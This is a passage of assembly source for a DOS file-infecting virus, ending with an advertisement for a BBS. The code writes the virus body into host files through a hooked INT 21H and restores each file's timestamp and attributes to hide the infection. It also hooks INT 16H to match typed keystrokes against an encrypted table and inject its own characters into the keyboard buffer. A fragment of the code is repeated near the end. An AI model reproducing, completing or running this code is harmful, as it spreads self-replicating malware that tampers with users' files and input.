	JNE	BP0510			; Branch if not
	MOV	DX,F_SIZ1		; Low-order file size
	MOV	CX,F_SIZ2		; High-order file size
	MOV	AX,4200H		; Move file pointer
	INT	21H			; DOS service (Move pointer)
BP0500:	JB	BP0510			; Follow chain of error branches
	XOR	DX,DX			; Address beginning of virus
	MOV	CX,OFFSET ENDADR	; Length of virus
	MOV	AH,40H			; Write handle
	INT	21H			; DOS service (Write handle)
	ASSUME	DS:NOTHING
BP0510:	CMP	MEM_SW,0		; Test memory allocated switch
	JE	BP0520			; Branch if off
	MOV	AH,49H			; Free allocated memory
	INT	21H			; DOS service (Free memory)
BP0520:	CMP	F_HAND,-1		; Test file handle
	JE	BP0530			; Terminate if none
	MOV	BX,F_HAND		; Get file handle
	MOV	DX,F_DATE		; Get file date
	MOV	CX,F_TIME		; Get file time
	MOV	AX,5701H		; Set file date and time
	INT	21H			; DOS service (Set file date)
	MOV	AH,3EH			; Close handle
	INT	21H			; DOS service (Close handle)
	LDS	DX,F_PATH		; Address program pathname
	MOV	CX,F_ATTS		; Load file attributes
	MOV	AX,4301H		; Set file attributes
	INT	21H			; DOS service (Set attributes)
	LDS	DX,INT_24		; Original interrupt 24H address
	MOV	AX,2524H		; Set interrupt 24H
	INT	21H			; DOS service (Set int)
BP0530:	POP	ES
	POP	DS
	POP	DI
	POP	SI
	POP	DX
	POP	CX
	POP	BX
	POP	AX
	POPF
	JMP	INT_21			; Interrupt 21H

	; Interrupt 16H routine

BP0540:	PUSHF				; Fake an interrupt
	CMP	AH,0			; Get a token function?
	JE	BP0550			; Branch if yes
	POPF				; Fake interrupt not needed
	JMP	INT_16			; Pass on to original interrupt

BP0550:	CALL	INT_16			; Deal with original interrupt
	PUSH	AX
	PUSH	BX
	PUSH	DI
	PUSH	DS
	PUSH	ES
	PUSH	CS			; \ Set DS to CS
	POP	DS			; /
	XOR	BX,BX			; \ Set ES to zero
	MOV	ES,BX			; /
	ASSUME	DS:CODE,ES:RAM
	CMP	OUT_SW,0		; Is output switch on?
	JNE	BP0630			; Branch if yes
	OR	AL,20H			; Convert to lower case
	XOR	AL,0AFH			; Decrypt character
	MOV	DI,OFFSET TABLE		; Address first entry
BP0560:	CMP	BYTE PTR [DI],0		; Is this the end of the table?
	JE	BP0590			; Branch if yes
	XOR	BX,BX			; Clear register
	MOV	BL,[DI+1]		; Get current character pointer
	ADD	BX,[DI+2]		; Add current entry pointer
	CMP	AL,[BX]			; Is character the one we want?
	JE	BP0570			; Branch if yes
	MOV	BYTE PTR [DI+1],0	; Clear character pointer
	JMP	BP0580

BP0570:	INC	BYTE PTR [DI+1]
BP0580:	ADD	DI,4			; Next entry
	JMP	BP0560			; Process next entry

BP0590:	MOV	DI,OFFSET TABLE		; Address first entry
BP0600:	CMP	BYTE PTR [DI],0		; Is this the end of the table?
	JE	BP0610			; Branch if yes
	MOV	AL,[DI+1]		; Get current character pointer
	CMP	AL,[DI]			; Do we have a complete match?
	JNE	BP0620			; Branch if not
	MOV	TABOUT,DI		; Save relevant pointer
	INC	OUT_SW			; Set on output switch
	MOV	AX,40H			; \ Address RAM
	MOV	ES,AX			; /
	ASSUME	ES:RAM40
	MOV	AX,BW041A		; Get key token in pointer
	MOV	BW041C,AX		; Set key token out pointer
	CALL	BP0640			; Put a character into the buffer
BP0610:	POP	ES
	POP	DS
	POP	DI
	POP	BX
	POP	AX
	IRET

BP0620:	ADD	DI,4			; Next entry
	JMP	BP0600			; Process next entry

BP0630:	MOV	AX,40H			; \ Address RAM
	MOV	ES,AX			; /
	CALL	BP0640			; Put a character into the buffer
	XOR	BX,BX			; Clear register
	MOV	BL,[DI+1]		; Get current character pointer
	ADD	BX,[DI+2]		; Add entry pointer
	CMP	BYTE PTR [BX],0		; Was that the last character?
	JNE	BP0610			; Branch if not
	MOV	OUT_SW,0		; Set off output switch
	JMP	BP0610

BP0640:	MOV	DI,TABOUT		; Address relevant table entry
	XOR	BX,BX			; Clear register
	MOV	BL,[DI+1]		; Get current character pointer
	ADD	BX,[DI+2]		; Add entry pointer
	MOV	AL,[BX]			; Get the character
	XOR	AL,0AFH			; Decrypt character
	INC	BYTE PTR [DI+1]		; Next character
	MOV	AH,AL			; Copy for translate
	MOV	BX,OFFSET KEYTAB	; Address key number table
	XLAT				; Get key number
	XCHG	AH,AL			; Reserve order
	MOV	BX,BW041C		; Get key token out pointer
	MOV	ES:[BX],AX		; Put key token into buffer
	INC	BX			; \ Next buffer position
	INC	BX			; /
	CMP	BX,BW0482		; Passed end of buffer?
	JNE	BP0650			; Branch if not
	MOV	BX,BW0480		; Get buffer start
BP0650:	MOV	BW041C,BX		; Save new key token out pointer
	RET

	; Stack area - This is also necessary to make the virus a complete
	; number of paragraphs

	DB	04CH, 002H, 0AAH, 031H, 09EH, 002H, 0A5H, 031H

ENDADR	EQU	$

CODE	ENDS

	END	START
ete
	; number of paragraphs

	DB	04CH,
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ